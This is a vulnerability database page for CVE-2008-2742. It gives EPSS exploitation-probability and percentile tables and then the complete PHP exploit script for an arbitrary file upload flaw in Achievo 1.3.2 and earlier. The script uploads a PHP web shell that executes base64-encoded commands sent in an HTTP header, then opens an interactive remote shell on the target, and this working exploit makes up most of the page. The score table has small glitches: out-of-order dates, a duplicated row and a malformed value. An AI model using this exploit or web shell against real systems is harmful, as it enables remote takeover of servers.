CVE-2008-2742 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	7.69%	–	–
2022-02-20	–	–	7.69%	–	–
2022-04-03	–	–	7.69%	–	–
2022-05-29	–	–	7.69%	–	–
2023-03-12	–	–	–	5.69%	–
2023-11-12	–	–	–	5.69%	–
2024-02-04	–	–	–	5.43%	–
2024-02-11	–	–	–	5.43%	–
2024-06-02	–	–	–	5.43%	–
2024-11-24	–	–	–	7.26%	–
2024-12-22	–	–	–	7.28%	–
2025-03-16	–	–	–	9.94%	–
2025-01-19	–	–	–	7.28%	–
2025-03-18	–	–	–	–	1.78%
2025-03-30	–	–	–	–	1.37%
2025-04-06	–	–	–	–	1.37%
2025-04-06	–	–	–	–	1.37,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	81%
2022-02-20	82%
2022-04-03	92%
2022-05-29	93%
2023-03-12	92%
2023-11-12	93%
2024-02-04	92%
2024-02-11	93%
2024-06-02	93%
2024-11-24	94%
2024-12-22	94%
2025-03-16	95%
2025-01-19	94%
2025-03-18	81%
2025-03-30	78%
2025-04-06	79%
2025-04-06	79%

<?php /* ----------------------------------------------------------------- Achievo <= 1.3.2 (fckeditor) Remote Arbitrary File Upload Exploit ----------------------------------------------------------------- author...: EgiX mail.....: n0b0d13s[at]gmail[dot]com link.....: http://www.achievo.org/ details..: works only with a specific server configuration (e.g. an Apache server with the mod_mime module installed) [-] vulnerable code in /atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/config.php 121. //File Area 122. $fckphp_config['ResourceAreas']['File'] =array( 123. 124. //Files(identified by extension) that may be uploaded to this area 125. 'AllowedExtensions' => array("zip","doc","xls","pdf","rtf","csv","jpg","gif","jpeg","png","avi","mpg","mpeg","swf","fla"), with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function upload() { global $host, $path; $connector = "atk/attributes/fck/editor/filemanager/browser/mcpuk/connectors/php/connector.php"; $file_ext = array("zip", "swf", "fla", "doc", "xls", "rtf", "csv"); foreach ($file_ext as $ext) { print "\n[-] Trying to upload with .{$ext} extension..."; $data = "--12345\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"sh.php.{$ext}\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n"; $data .= "--12345--\r\n"; $packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data; preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n"); $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("print", $html) and eregi("_code_", $html)) return $ext; sleep(1); } return false; } print "\n+--------------------------------------------------------------------+"; print "\n| Achievo <= 1.3.2 (fckeditor) Arbitrary File Upload Exploit by EgiX |"; print "\n+--------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /achievo/\n"; die(); } $host = $argv[1]; $path = $argv[2]; if (!($ext = upload())) die("\n\n[-] Exploit failed...\n"); else print "\n[-] Shell uploaded...starting it!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nachievo-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}sh.php.{$ext} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n"); $shell = explode("_code_", $html); print "\n{$shell[1]}"; } else break; } ?> # milw0rm.com [2008-06-09]